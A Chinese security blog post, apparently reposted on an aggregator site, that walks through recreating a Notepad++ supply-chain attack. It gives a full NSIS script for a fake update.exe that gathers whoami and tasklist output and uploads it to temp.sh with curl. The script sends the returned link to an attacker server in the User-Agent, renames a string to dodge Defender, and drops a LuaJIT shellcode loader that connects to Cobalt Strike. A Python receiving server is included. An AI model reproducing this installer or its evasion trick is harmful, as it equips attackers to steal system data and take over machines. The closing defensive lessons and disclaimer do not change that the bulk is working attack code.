notepad++供应链攻击手法复现"

admin 2026-10-18 07:53:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

notepad++供应链攻击手法复现

原创

陆安予
陆安予

白帽子安全笔记2.0

2026年7月28日 23:14
江苏

在小说阅读器读本章

去阅读

一、这是什么?

2026年2月,Notepad的更新服务器被恶意攻击者控制,导致下发恶意软件。整体来说不难,现在我们复现这里面的操作。

本文所涉及到的资源如下:

  • • 1.server.py #负责接收收集的数据
  • • 2.nsis-3.12-setup.exe #NSI编译工具
  • • 3.NSI脚本 #执行逻辑
  • • 4.LUA加载器
  • • 5.Cobalt Strike

二、技术复现

1.NSIS安装包

首先是恶意的update.exe,这是一个像msi的安装包,由NSIS编译而来,那么接下来安装NSIS编译环境。这里下载到nsis-3.12-setup.exe版本并安装。

NSIS

接下来新建一个记事本,后缀改为.nsi,命名为update.nsi,我们要使用NSIS编译它(在上述界面的第一个选项),接下来实现这个攻击脚本的核心逻辑。

2.NSI脚本实现

根据大量分析资料,整个逻辑如下:

1.创建目录%appdata%\ProShow,并将它设置为当前工作目录。那么就是如下命令:

SetShellVarContext current
CreateDirectory \"$APPDATA\\ProShow\"
SetOutPath \"$APPDATA\\ProShow\"

2.执行下述命令获取系统信息保存为1.txt。注意部分文章描述错误,两个>才能代表追加。

nsExec::Exec 'cmd /c cd /d \"$APPDATA\\ProShow\" && whoami && tasklist >> \"1.txt\"'

3.将1.txt上传到匿名托管平台temp.sh,那么就是这段代码。

nsExec::ExecToStack 'cmd /c cd /d \"$APPDATA\\ProShow\" && curl -F \"[email protected]\" -s https://temp.sh/upload'

这里需要注意,由于这个特征已被Defender记录,现在我们变形下如下:

StrCpy $2 \"temp.sh\"
nsExec::ExecToStack 'cmd /c cd /d \"$APPDATA\\ProShow\" && curl -F \"[email protected]\" -s https://$2/upload'

4.最后将temp.sh返回的地址作为User-Agent,发送HTTP请求到攻击者控制的服务器。

这里我们需要两步,第一步实现这个操作,第二步还需要做一个接收的环境。

nsExec::Exec 'cmd /c cd /d \"$APPDATA\\ProShow\" && curl --user-agent \"$1\" -s http://192.168.136.1/list'

做一个接收服务,我将使用python实现这一点,它将负责将接收的信息存储到本地。

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/list':
            ua = self.headers.get('User-Agent', '')
            ts = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S.%f\")[:-3]

            client_ip = self.client_address[0]

            with open(\"log.txt\", \"a\") as f:
                f.write(f\"[{ts}] IP: {client_ip} | UA: {ua}\
\")

            print(f\"[{ts}] Received from {client_ip}: {ua}\")
        self.send_response(200)
        self.end_headers()

if __name__ == '__main__':
    print(\"Server running on http://0.0.0.0:80\")
    HTTPServer(('0.0.0.0', 80), Handler).serve_forever()

开启接收服务

5.后来攻击者释放的实际是lua加载器来加载shellcode,这里我们使用lua。

经过反复打磨,最后完整NSI代码如下:

Name \"Update\"
OutFile \"update.exe\"
RequestExecutionLevel user

Section
    SetShellVarContext current
    CreateDirectory \"$APPDATA\\ProShow\"
    SetOutPath \"$APPDATA\\ProShow\"
    Sleep 1000
    nsExec::Exec 'cmd /c cd /d \"$APPDATA\\ProShow\" && whoami && tasklist >> \"1.txt\"'
    Sleep 1000
    StrCpy $2 \"temp.sh\"
    nsExec::ExecToStack 'cmd /c cd /d \"$APPDATA\\ProShow\" && curl -F \"[email protected]\" -s https://$2/upload'
    Pop $0
    Pop $1

    Sleep 1000
    nsExec::Exec 'cmd /c cd /d \"$APPDATA\\ProShow\" && curl --user-agent \"$1\" -s http://192.168.136.1/list'

    Sleep 1000
    File \"luajit.exe\"
    File \"lua51.dll\"
    File \"a.txt\"

    ExecShell \"\" \"$APPDATA\\ProShow\\luajit.exe\" \"$APPDATA\\ProShow\\a.txt\"
SectionEnd

6.最后使用NSIS工具编译这个NSI脚本,它将自动打包lua套件,生成exe程序(见桌面update.exe)。

编译NSI

3.运行exe程序

运行update.exe程序

运行update.msi设置当前用户上下文创建目录 \"$APPDATA\ProShow\"工作目录 \"$APPDATA\ProShow\"获取系统信息 whoami && tasklist >> \"1.txt\"上传至temp 执行 curl -F \"[email protected]\" -s https://temp.sh/upload获取返回的URL并存入 $1发送到服务器 执行 curl --user-agent \"$1\" -s http://192.168.136.1/list释放 luajit.exe释放 lua51.dll释放 a.txt执行 luajit.exe a.txt连接 Cobalt Strike开始执行过程

而我们的server也接收到了数据并存储为log:

<<< 左右滑动看更多 >>>

通过useragent传递收集的系统信息

Cobalt Strike

三、总结

1.exe运行一定要小心,制作一个exe释放器极其简单。
2.更新服务一定不能使用HTTP,流量极其容易被中间人劫持从而导致供应链攻击。
3.AI是把双刃剑,加速了恶意代码的形成,防守难度显著提高。应加速EDR的普及,而不是传统杀毒软件。

四、免责声明

本文涉及方案仅限合法授权的安全研究、渗透测试用途,使用者须确保符合《网络安全法》及相关法规。具体条款如下:

1.仅可用于已获得书面授权的目标系统测试;
2.遵守法律法规,不得用于侵犯他人隐私或数据窃取;

本人不承担因用户滥用本软件导致的任何后果。使用即视为同意并接受上述条款。



notepad++供应链攻击手法复现" 网络安全文章

notepad++供应链攻击手法复现"

本文复现了2026年Notepad++供应链攻击手法,通过NSIS制作恶意update.exe安装包,执行后创建目录、收集系统信息并上传至temp.sh,再通过User-Agent将返回地址发送至攻击者服务器,最终释放Lua加载器连接CobaltStrike。文章强调更新服务应使用HTTPS、警惕exe释放器,并建议加速EDR普及以应对AI加速恶意代码形成的挑战。
记一次Gateway边界失效导致微服务集群失陷的渗透测试" 网络安全文章

记一次Gateway边界失效导致微服务集群失陷的渗透测试"

某企业SpringCloud微服务集群因Gateway暴露Actuator端点导致路由信息泄露,攻击者发现路径绕过漏洞直接访问未认证的后端服务,并通过Nacos获取全部微服务实例地址,最终失陷包含敏感数据的admin-service。测试发现管理后台接口缺乏独立权限校验,可任意导出全量用户数据与系统配置。文章强调Gateway并非绝对安全边界,后端服务必须实施零信任原则。
工具|NocturneLdr—CET兼容的调用栈伪装Loader" 网络安全文章

工具|NocturneLdr—CET兼容的调用栈伪装Loader"

NocturneLdr是一个研究导向的Windowsx64shellcodeloader,核心目标是产生对WinDbg、ProcessHacker与IntelCETshadowstack都不可区分的合法调用栈。其技术内核是BYOUD的工程化实现,通过将代码注入合法模块.text段并注册真实unwind元数据来绕过CET校验。项目设计亮点包括高质量注释、可逆性变更跟踪、CRT-free与编译期哈希。但存在严重代码质量问题,如FindShieldGadget可能越界读未映射内存、硬编码偏移导致跨版本脆弱、大量
评论:0   参与:  0